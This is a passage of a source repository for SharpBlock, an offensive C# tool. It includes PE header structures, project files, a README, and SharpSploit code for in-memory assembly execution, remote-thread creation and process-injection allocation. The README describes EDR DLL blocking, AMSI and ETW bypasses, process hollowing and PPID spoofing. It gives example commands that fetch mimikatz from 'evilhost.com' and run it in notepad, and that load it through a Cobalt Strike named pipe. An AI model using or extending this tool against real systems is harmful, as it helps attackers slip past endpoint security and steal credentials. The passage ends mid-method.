156 | public UInt32 e_lfanew; // File address of new exe header
157 | }
158 |
159 | [StructLayout(LayoutKind.Sequential)]
160 | public struct IMAGE_DATA_DIRECTORY {
161 | public UInt32 VirtualAddress;
162 | public UInt32 Size;
163 | }
164 |
165 | public enum MagicType : ushort {
166 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,
167 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
168 | }
169 |
170 | public enum DllCharacteristicsType : ushort {
171 | RES_0 = 0x0001,
172 | RES_1 = 0x0002,
173 | RES_2 = 0x0004,
174 | RES_3 = 0x0008,
175 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040,
176 | IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080,
177 | IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100,
178 | IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200,
179 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400,
180 | IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800,
181 | RES_4 = 0x1000,
182 | IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000,
183 | IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000
184 | }
185 |
186 | public enum SubSystemType : ushort {
187 | IMAGE_SUBSYSTEM_UNKNOWN = 0,
188 | IMAGE_SUBSYSTEM_NATIVE = 1,
189 | IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,
190 | IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,
191 | IMAGE_SUBSYSTEM_POSIX_CUI = 7,
192 | IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,
193 | IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,
194 | IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,
195 | IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,
196 | IMAGE_SUBSYSTEM_EFI_ROM = 13,
197 | IMAGE_SUBSYSTEM_XBOX = 14
198 | }
199 |
200 | [StructLayout(LayoutKind.Explicit)]
201 | public struct IMAGE_OPTIONAL_HEADER32 {
202 | [FieldOffset(0)]
203 | public MagicType Magic;
204 | [FieldOffset(2)]
205 | public byte MajorLinkerVersion;
206 | [FieldOffset(3)]
207 | public byte MinorLinkerVersion;
208 | [FieldOffset(4)]
209 | public uint SizeOfCode;
210 | [FieldOffset(8)]
211 | public uint SizeOfInitializedData;
212 | [FieldOffset(12)]
213 | public uint SizeOfUninitializedData;
214 | [FieldOffset(16)]
215 | public uint AddressOfEntryPoint;
216 | [FieldOffset(20)]
217 | public uint BaseOfCode;
218 | // PE32 contains this additional field
219 | [FieldOffset(24)]
220 | public uint BaseOfData;
221 | [FieldOffset(28)]
222 | public uint ImageBase;
223 | [FieldOffset(32)]
224 | public uint SectionAlignment;
225 | [FieldOffset(36)]
226 | public uint FileAlignment;
227 | [FieldOffset(40)]
228 | public ushort MajorOperatingSystemVersion;
229 | [FieldOffset(42)]
230 | public ushort MinorOperatingSystemVersion;
231 | [FieldOffset(44)]
232 | public ushort MajorImageVersion;
233 | [FieldOffset(46)]
234 | public ushort MinorImageVersion;
235 | [FieldOffset(48)]
236 | public ushort MajorSubsystemVersion;
237 | [FieldOffset(50)]
238 | public ushort MinorSubsystemVersion;
239 | [FieldOffset(52)]
240 | public uint Win32VersionValue;
241 | [FieldOffset(56)]
242 | public uint SizeOfImage;
243 | [FieldOffset(60)]
244 | public uint SizeOfHeaders;
245 | [FieldOffset(64)]
246 | public uint CheckSum;
247 | [FieldOffset(68)]
248 | public SubSystemType Subsystem;
249 | [FieldOffset(70)]
250 | public DllCharacteristicsType DllCharacteristics;
251 | [FieldOffset(72)]
252 | public uint SizeOfStackReserve;
253 | [FieldOffset(76)]
254 | public uint SizeOfStackCommit;
255 | [FieldOffset(80)]
256 | public uint SizeOfHeapReserve;
257 | [FieldOffset(84)]
258 | public uint SizeOfHeapCommit;
259 | [FieldOffset(88)]
260 | public uint LoaderFlags;
261 | [FieldOffset(92)]
262 | public uint NumberOfRvaAndSizes;
263 | [FieldOffset(96)]
264 | public IMAGE_DATA_DIRECTORY ExportTable;
265 | [FieldOffset(104)]
266 | public IMAGE_DATA_DIRECTORY ImportTable;
267 | [FieldOffset(112)]
268 | public IMAGE_DATA_DIRECTORY ResourceTable;
269 | [FieldOffset(120)]
270 | public IMAGE_DATA_DIRECTORY ExceptionTable;
271 | [FieldOffset(128)]
272 | public IMAGE_DATA_DIRECTORY CertificateTable;
273 | [FieldOffset(136)]
274 | public IMAGE_DATA_DIRECTORY BaseRelocationTable;
275 | [FieldOffset(144)]
276 | public IMAGE_DATA_DIRECTORY Debug;
277 | [FieldOffset(152)]
278 | public IMAGE_DATA_DIRECTORY Architecture;
279 | [FieldOffset(160)]
280 | public IMAGE_DATA_DIRECTORY GlobalPtr;
281 | [FieldOffset(168)]
282 | public IMAGE_DATA_DIRECTORY TLSTable;
283 | [FieldOffset(176)]
284 | public IMAGE_DATA_DIRECTORY LoadConfigTable;
285 | [FieldOffset(184)]
286 | public IMAGE_DATA_DIRECTORY BoundImport;
287 | [FieldOffset(192)]
288 | public IMAGE_DATA_DIRECTORY IAT;
289 | [FieldOffset(200)]
290 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
291 | [FieldOffset(208)]
292 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
293 | [FieldOffset(216)]
294 | public IMAGE_DATA_DIRECTORY Reserved;
295 | }
296 |
297 | [StructLayout(LayoutKind.Explicit)]
298 | public struct IMAGE_OPTIONAL_HEADER64 {
299 | [FieldOffset(0)]
300 | public MagicType Magic;
301 | [FieldOffset(2)]
302 | public byte MajorLinkerVersion;
303 | [FieldOffset(3)]
304 | public byte MinorLinkerVersion;
305 | [FieldOffset(4)]
306 | public uint SizeOfCode;
307 | [FieldOffset(8)]
308 | public uint SizeOfInitializedData;
309 | [FieldOffset(12)]
310 | public uint SizeOfUninitializedData;
311 | [FieldOffset(16)]
312 | public uint AddressOfEntryPoint;
313 | [FieldOffset(20)]
314 | public uint BaseOfCode;
315 | [FieldOffset(24)]
316 | public ulong ImageBase;
317 | [FieldOffset(32)]
318 | public uint SectionAlignment;
319 | [FieldOffset(36)]
320 | public uint FileAlignment;
321 | [FieldOffset(40)]
322 | public ushort MajorOperatingSystemVersion;
323 | [FieldOffset(42)]
324 | public ushort MinorOperatingSystemVersion;
325 | [FieldOffset(44)]
326 | public ushort MajorImageVersion;
327 | [FieldOffset(46)]
328 | public ushort MinorImageVersion;
329 | [FieldOffset(48)]
330 | public ushort MajorSubsystemVersion;
331 | [FieldOffset(50)]
332 | public ushort MinorSubsystemVersion;
333 | [FieldOffset(52)]
334 | public uint Win32VersionValue;
335 | [FieldOffset(56)]
336 | public uint SizeOfImage;
337 | [FieldOffset(60)]
338 | public uint SizeOfHeaders;
339 | [FieldOffset(64)]
340 | public uint CheckSum;
341 | [FieldOffset(68)]
342 | public SubSystemType Subsystem;
343 | [FieldOffset(70)]
344 | public DllCharacteristicsType DllCharacteristics;
345 | [FieldOffset(72)]
346 | public ulong SizeOfStackReserve;
347 | [FieldOffset(80)]
348 | public ulong SizeOfStackCommit;
349 | [FieldOffset(88)]
350 | public ulong SizeOfHeapReserve;
351 | [FieldOffset(96)]
352 | public ulong SizeOfHeapCommit;
353 | [FieldOffset(104)]
354 | public uint LoaderFlags;
355 | [FieldOffset(108)]
356 | public uint NumberOfRvaAndSizes;
357 | [FieldOffset(112)]
358 | public IMAGE_DATA_DIRECTORY ExportTable;
359 | [FieldOffset(120)]
360 | public IMAGE_DATA_DIRECTORY ImportTable;
361 | [FieldOffset(128)]
362 | public IMAGE_DATA_DIRECTORY ResourceTable;
363 | [FieldOffset(136)]
364 | public IMAGE_DATA_DIRECTORY ExceptionTable;
365 | [FieldOffset(144)]
366 | public IMAGE_DATA_DIRECTORY CertificateTable;
367 | [FieldOffset(152)]
368 | public IMAGE_DATA_DIRECTORY BaseRelocationTable;
369 | [FieldOffset(160)]
370 | public IMAGE_DATA_DIRECTORY Debug;
371 | [FieldOffset(168)]
372 | public IMAGE_DATA_DIRECTORY Architecture;
373 | [FieldOffset(176)]
374 | public IMAGE_DATA_DIRECTORY GlobalPtr;
375 | [FieldOffset(184)]
376 | public IMAGE_DATA_DIRECTORY TLSTable;
377 | [FieldOffset(192)]
378 | public IMAGE_DATA_DIRECTORY LoadConfigTable;
379 | [FieldOffset(200)]
380 | public IMAGE_DATA_DIRECTORY BoundImport;
381 | [FieldOffset(208)]
382 | public IMAGE_DATA_DIRECTORY IAT;
383 | [FieldOffset(216)]
384 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
385 | [FieldOffset(224)]
386 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
387 | [FieldOffset(232)]
388 | public IMAGE_DATA_DIRECTORY Reserved;
389 | }
390 |
391 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
392 | public struct IMAGE_FILE_HEADER {
393 | public UInt32 Signature;
394 | public UInt16 Machine;
395 | public UInt16 NumberOfSections;
396 | public UInt32 TimeDateStamp;
397 | public UInt32 PointerToSymbolTable;
398 | public UInt32 NumberOfSymbols;
399 | public UInt16 SizeOfOptionalHeader;
400 | public UInt16 Characteristics;
401 | }
402 | }
403 | }
404 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpBlock")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpBlock")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("3cf25e04-27e4-4d19-945e-dadc37c81152")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpBlock
2 | A method of bypassing EDR's active projection DLL's by preventing entry point execution.
3 |
4 | ## Features
5 |
6 | * Blocks EDR DLL entry point execution, which prevents EDR hooks from being placed.
7 | * Patchless AMSI bypass that is undetectable from scanners looking for Amsi.dll code patches at runtime.
8 | * Host process that is replaced with an implant PE that can be loaded from disk, HTTP or named pipe (Cobalt Strike)
9 | * Implanted process is hidden to help evade scanners looking for hollowed processes.
10 | * Command line args are spoofed and implanted after process creation using stealthy EDR detection method.
11 | * Patchless ETW bypass.
12 | * Blocks NtProtectVirtualMemory invocation when callee is within the range of a blocked DLL's address space
13 |
14 | ```
15 | SharpBlock by @_EthicalChaos_
16 | DLL Blocking app for child processes x64
17 |
18 | -e, --exe=VALUE Program to execute (default cmd.exe)
19 | -a, --args=VALUE Arguments for program (default null)
20 | -n, --name=VALUE Name of DLL to block
21 | -c, --copyright=VALUE Copyright string to block
22 | -p, --product=VALUE Product string to block
23 | -d, --description=VALUE Description string to block
24 | -s, --spawn=VALUE Host process to spawn for swapping with the target exe
25 | -ppid=VALUE Parent process ID for spawned child (PPID Spoofing)
26 | -w, --show Show the lauched process window instead of the
27 | default hide
28 | --disable-bypass-amsi Disable AMSI bypassAmsi
29 | --disable-bypass-cmdline
30 | Disable command line bypass
31 | --disable-bypass-etw Disable ETW bypass
32 | --disable-header-patch Disable process hollow detection bypass
33 | -h, --help Display this help
34 | ```
35 |
36 | ## Examples
37 |
38 | ### Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
39 |
40 | ```
41 | SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
42 | ```
43 |
44 | ### Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
45 |
46 | ```
47 | execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
48 | upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
49 | ```
50 | *Note, for the `upload_file` beacon command, load upload.cna into Cobalt Strike's Script Manager*
51 |
52 |
53 |
54 | Accompanying Blog Posts:
55 | * https://ethicalchaos.dev/2020/05/27/lets-create-an-edr-and-bypass-it-part-1/
56 | * https://ethicalchaos.dev/2020/06/14/lets-create-an-edr-and-bypass-it-part-2/
57 | * https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock/
58 |
59 |
--------------------------------------------------------------------------------
/SharpBlock.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Debug
7 | AnyCPU
8 | {3CF25E04-27E4-4D19-945E-DADC37C81152}
9 | Exe
10 | SharpBlock
11 | SharpBlock
12 | v4.0
13 | 512
14 | true
15 |
16 |
17 |
18 |
19 |
20 | x64
21 | true
22 | full
23 | false
24 | bin\Debug\
25 | DEBUG;TRACE
26 | prompt
27 | 4
28 | false
29 |
30 |
31 | x64
32 | pdbonly
33 | true
34 | bin\Release\
35 | TRACE
36 | prompt
37 | 4
38 |
39 |
40 | x86
41 | bin\x86\Debug\
42 |
43 |
44 | x86
45 | bin\x86\Release\
46 |
47 |
48 | x64
49 | bin\x64\Debug\
50 |
51 |
52 | x64
53 | bin\x64\Release\
54 |
55 |
56 |
57 | packages\Costura.Fody.4.1.0\lib\net40\Costura.dll
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 | Designer
83 |
84 |
85 |
86 |
87 |
88 | {ec4a6271-8f5b-46d0-925d-b5a7a68930a8}
89 | SharpSploit
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
100 |
101 |
102 |
103 |
104 |
--------------------------------------------------------------------------------
/SharpBlock.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29509.3
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpBlock", "SharpBlock.csproj", "{3CF25E04-27E4-4D19-945E-DADC37C81152}"
7 | EndProject
8 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "SharpSploit", "SharpSploit\SharpSploit.csproj", "{EC4A6271-8F5B-46D0-925D-B5A7A68930A8}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {3CF25E04-27E4-4D19-945E-DADC37C81152}.Debug|x64.ActiveCfg = Debug|x64
19 | {3CF25E04-27E4-4D19-945E-DADC37C81152}.Debug|x64.Build.0 = Debug|x64
20 | {3CF25E04-27E4-4D19-945E-DADC37C81152}.Debug|x86.ActiveCfg = Debug|x86
21 | {3CF25E04-27E4-4D19-945E-DADC37C81152}.Debug|x86.Build.0 = Debug|x86
22 | {3CF25E04-27E4-4D19-945E-DADC37C81152}.Release|x64.ActiveCfg = Release|x64
23 | {3CF25E04-27E4-4D19-945E-DADC37C81152}.Release|x64.Build.0 = Release|x64
24 | {3CF25E04-27E4-4D19-945E-DADC37C81152}.Release|x86.ActiveCfg = Release|x86
25 | {3CF25E04-27E4-4D19-945E-DADC37C81152}.Release|x86.Build.0 = Release|x86
26 | {EC4A6271-8F5B-46D0-925D-B5A7A68930A8}.Debug|x64.ActiveCfg = Debug|x64
27 | {EC4A6271-8F5B-46D0-925D-B5A7A68930A8}.Debug|x64.Build.0 = Debug|x64
28 | {EC4A6271-8F5B-46D0-925D-B5A7A68930A8}.Debug|x86.ActiveCfg = Debug|x86
29 | {EC4A6271-8F5B-46D0-925D-B5A7A68930A8}.Debug|x86.Build.0 = Debug|x86
30 | {EC4A6271-8F5B-46D0-925D-B5A7A68930A8}.Release|x64.ActiveCfg = Release|x64
31 | {EC4A6271-8F5B-46D0-925D-B5A7A68930A8}.Release|x64.Build.0 = Release|x64
32 | {EC4A6271-8F5B-46D0-925D-B5A7A68930A8}.Release|x86.ActiveCfg = Release|x86
33 | {EC4A6271-8F5B-46D0-925D-B5A7A68930A8}.Release|x86.Build.0 = Release|x86
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {11CFB564-2FC2-4B71-A2C1-57BBB32CECCF}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/Assembly.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using Reflect = System.Reflection;
7 |
8 | using SharpSploit.Generic;
9 |
10 | namespace SharpSploit.Execution
11 | {
12 | ///
13 | /// Assembly is a library for loading .NET assemblies and executing methods contained within them.
14 | ///
15 | public class Assembly
16 | {
17 | ///
18 | /// Loads a specified .NET assembly byte array and executes the EntryPoint.
19 | ///
20 | /// The .NET assembly byte array.
21 | /// The arguments to pass to the assembly's EntryPoint.
22 | public static void AssemblyExecute(byte[] AssemblyBytes, Object[] Args = null)
23 | {
24 | if (Args == null)
25 | {
26 | Args = new Object[] { new string[] { } };
27 | }
28 | Reflect.Assembly assembly = Load(AssemblyBytes);
29 | assembly.EntryPoint.Invoke(null, Args);
30 | }
31 |
32 | ///
33 | /// Loads a specified .NET assembly byte array and executes a specified method within a
34 | /// specified type with specified parameters.
35 | ///
36 | /// The .NET assembly byte array.
37 | /// The name of the type that contains the method to execute.
38 | /// The name of the method to execute.
39 | /// The parameters to pass to the method.
40 | /// GenericObjectResult of the method.
41 | public static GenericObjectResult AssemblyExecute(byte[] AssemblyBytes, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[]))
42 | {
43 | Reflect.Assembly assembly = Load(AssemblyBytes);
44 | Type type = TypeName == "" ? assembly.GetTypes()[0] : assembly.GetType(TypeName);
45 | Reflect.MethodInfo method = MethodName == "" ? type.GetMethods()[0] : type.GetMethod(MethodName);
46 | var results = method.Invoke(null, Parameters);
47 | return new GenericObjectResult(results);
48 | }
49 |
50 | ///
51 | /// Loads a specified base64-encoded .NET assembly and executes a specified method within a
52 | /// specified type with specified parameters.
53 | ///
54 | /// The base64-encoded .NET assembly byte array.
55 | /// The name of the type that contains the method to execute.
56 | /// The name of the method to execute.
57 | /// The parameters to pass to the method.
58 | /// GenericObjectResult of the method.
59 | public static GenericObjectResult AssemblyExecute(String EncodedAssembly, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[]))
60 | {
61 | return AssemblyExecute(Convert.FromBase64String(EncodedAssembly), TypeName, MethodName, Parameters);
62 | }
63 |
64 | ///
65 | /// Loads a specified base64-encoded .NET assembly and executes the EntryPoint.
66 | ///
67 | /// The base64-encoded .NET assembly byte array.
68 | /// The arguments to pass to the assembly's EntryPoint.
69 | public static void AssemblyExecute(String EncodedAssembly, Object[] Args = default(Object[]))
70 | {
71 | AssemblyExecute(Convert.FromBase64String(EncodedAssembly), Args);
72 | }
73 |
74 | ///
75 | /// Loads a specified .NET assembly byte array.
76 | ///
77 | /// The .NET assembly byte array.
78 | /// Loaded assembly.
79 | public static Reflect.Assembly Load(byte[] AssemblyBytes)
80 | {
81 | return Reflect.Assembly.Load(AssemblyBytes);
82 | }
83 |
84 | ///
85 | /// Loads a specified .NET assembly byte array.
86 | ///
87 | /// The base64-encoded .NET assembly byte array.
88 | /// Loaded assembly.
89 | public static Reflect.Assembly Load(string EncodedAssembly)
90 | {
91 | return Reflect.Assembly.Load(Convert.FromBase64String(EncodedAssembly));
92 | }
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/DynamicInvoke/Win32.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using System.Runtime.InteropServices;
7 |
8 | using Execute = SharpSploit.Execution;
9 |
10 | namespace SharpSploit.Execution.DynamicInvoke
11 | {
12 | ///
13 | /// Contains function prototypes and wrapper functions for dynamically invoking Win32 API Calls.
14 | ///
15 | public static class Win32
16 | {
17 | ///
18 | /// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
19 | ///
20 | /// The Wover (@TheRealWover)
21 | ///
22 | ///
23 | ///
24 | ///
25 | public static IntPtr OpenProcess(Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId)
26 | {
27 | // Craft an array for the arguments
28 | object[] funcargs =
29 | {
30 | dwDesiredAccess, bInheritHandle, dwProcessId
31 | };
32 |
33 | return (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"OpenProcess",
34 | typeof(Delegates.OpenProcess), ref funcargs);
35 | }
36 |
37 | public static IntPtr CreateRemoteThread(
38 | IntPtr hProcess,
39 | IntPtr lpThreadAttributes,
40 | uint dwStackSize,
41 | IntPtr lpStartAddress,
42 | IntPtr lpParameter,
43 | uint dwCreationFlags,
44 | ref IntPtr lpThreadId)
45 | {
46 | // Craft an array for the arguments
47 | object[] funcargs =
48 | {
49 | hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
50 | };
51 |
52 | IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread",
53 | typeof(Delegates.CreateRemoteThread), ref funcargs);
54 |
55 | // Update the modified variables
56 | lpThreadId = (IntPtr)funcargs[6];
57 |
58 | return retValue;
59 | }
60 |
61 | ///
62 | /// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process
63 | ///
64 | /// Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine).
65 | public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo)
66 | {
67 |
68 | // Build the set of parameters to pass in to IsWow64Process
69 | object[] funcargs =
70 | {
71 | hProcess, lpSystemInfo
72 | };
73 |
74 | bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs);
75 |
76 | lpSystemInfo = (bool) funcargs[1];
77 |
78 | // Dynamically load and invoke the API call with out parameters
79 | return retVal;
80 | }
81 |
82 | public static class Delegates
83 | {
84 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
85 | public delegate IntPtr CreateRemoteThread(IntPtr hProcess,
86 | IntPtr lpThreadAttributes,
87 | uint dwStackSize,
88 | IntPtr lpStartAddress,
89 | IntPtr lpParameter,
90 | uint dwCreationFlags,
91 | out IntPtr lpThreadId);
92 |
93 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
94 | public delegate IntPtr OpenProcess(
95 | Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,
96 | bool bInheritHandle,
97 | UInt32 dwProcessId
98 | );
99 |
100 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
101 | public delegate bool IsWow64Process(
102 | IntPtr hProcess, ref bool lpSystemInfo
103 | );
104 | }
105 | }
106 | }
107 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/Injection/Allocation.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | namespace SharpSploit.Execution.Injection
7 | {
8 | ///
9 | /// Base class for allocation techniques.
10 | ///
11 | public abstract class AllocationTechnique
12 | {
13 | // An array containing a set of PayloadType objects that are supported.
14 | protected Type[] supportedPayloads;
15 |
16 | ///
17 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
18 | ///
19 | /// The Wover (@TheRealWover)
20 | /// A payload.
21 | /// Whether or not the payload is of a supported type for this strategy.
22 | public abstract bool IsSupportedPayloadType(PayloadType Payload);
23 |
24 | ///
25 | /// Internal method for setting the supported payload types. Used in constructors.
26 | ///
27 | /// The Wover (@TheRealWover)
28 | internal abstract void DefineSupportedPayloadTypes();
29 |
30 | ///
31 | /// Allocate the payload to the target process at a specified address.
32 | ///
33 | /// The Wover (@TheRealWover)
34 | /// The payload to allocate to the target process.
35 | /// The target process.
36 | /// The address at which to allocate the payload in the target process.
37 | /// True when allocation was successful. Otherwise, throws relevant exceptions.
38 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address)
39 | {
40 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() };
41 |
42 | try
43 | {
44 | // Get delegate to the overload of Allocate that supports the type of payload passed in
45 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
46 |
47 | // Dynamically invoke the appropriate Allocate overload
48 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address });
49 | }
50 | // If there is no such method
51 | catch (ArgumentNullException)
52 | {
53 | throw new PayloadTypeNotSupported(Payload.GetType());
54 | }
55 | }
56 |
57 | ///
58 | /// Allocate the payload to the target process.
59 | ///
60 | /// The Wover (@TheRealWover)
61 | /// The payload to allocate to the target process.
62 | /// The target process.
63 | /// Base address of allocated memory within the target process's virtual memory space.
64 | public virtual IntPtr Allocate(PayloadType Payload, Process Process)
65 | {
66 |
67 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) };
68 |
69 | try
70 | {
71 | // Get delegate to the overload of Allocate that supports the type of payload passed in
72 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
73 |
74 | // Dynamically invoke the appropriate Allocate overload
75 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process });
76 | }
77 | // If there is no such method
78 | catch (ArgumentNullException)
79 | {
80 | throw new PayloadTypeNotSupported(Payload.GetType());
81 | }
82 | }
83 | }
84 |
85 | ///
86 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections.
87 | ///
88 | public class SectionMapAlloc : AllocationTechnique
89 | {
90 | // Publically accessible options
91 |
92 | public uint localSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE;
93 | public uint remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE;
94 | public uint sectionAttributes = Win32.WinNT.SEC_COMMIT;
95 |
96 | ///
97 | /// Default constructor.
98 | ///
99 | public SectionMapAlloc()
100 | {
101 | DefineSupportedPayloadTypes();
102 | }
103 |
104 | ///
105 | /// Constructor allowing options as arguments.
106 | ///
107 | public SectionMapAlloc(uint localPerms = Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Win32.WinNT.SEC_COMMIT)
108 | {
109 | DefineSupportedPayloadTypes();
110 | localSectionPermissions = localPerms;
111 | remoteSectionPermissions = remotePerms;
112 | sectionAttributes = atts;
113 | }
114 |
115 | ///
116 | /// States whether the payload is supported.
117 | ///
118 | /// The Wover (@TheRealWover)
119 | /// Payload that will be allocated.
120 | ///
121 | public override bool IsSupportedPayloadType(PayloadType Payload)
122 | {
123 | return supportedPayloads.Contains(Payload.GetType());
124 | }
125 |
126 | ///
127 | /// Internal method for setting the supported payload types. Used in constructors.
128 | /// Update when new types of payloads are added.
129 | ///
130 | /// The Wover (@TheRealWover)
131 | internal override void DefineSupportedPayloadTypes()
132 | {
133 | //Defines the set of supported payload types.
134 | supportedPayloads = new Type[] {
135 | typeof(PICPayload)
136 | };
137 | }
138 |
139 | ///
140 | /// Allocate the payload to the target process. Handles unknown payload types.
141 | ///
142 | /// The Wover (@TheRealWover)
143 | /// The payload to allocate to the target process.
144 | /// The target process.
145 | /// Base address of allocated memory within the target process's virtual memory space.
146 | public override IntPtr Allocate(PayloadType Payload, Process Process)
147 | {
148 | if (!IsSupportedPayloadType(Payload))
149 | {
150 | throw new PayloadTypeNotSupported(Payload.GetType());
151 | }
152 | return Allocate(Payload, Process, IntPtr.Zero);
153 | }
154 |
155 | ///
156 | /// Allocate the payload in the target process.
157 | ///
158 | /// The Wover (@TheRealWover)
159 | /// The PIC payload to allocate to the target process.
160 | /// The target process.
161 | /// The preferred address at which to allocate the payload in the target process.
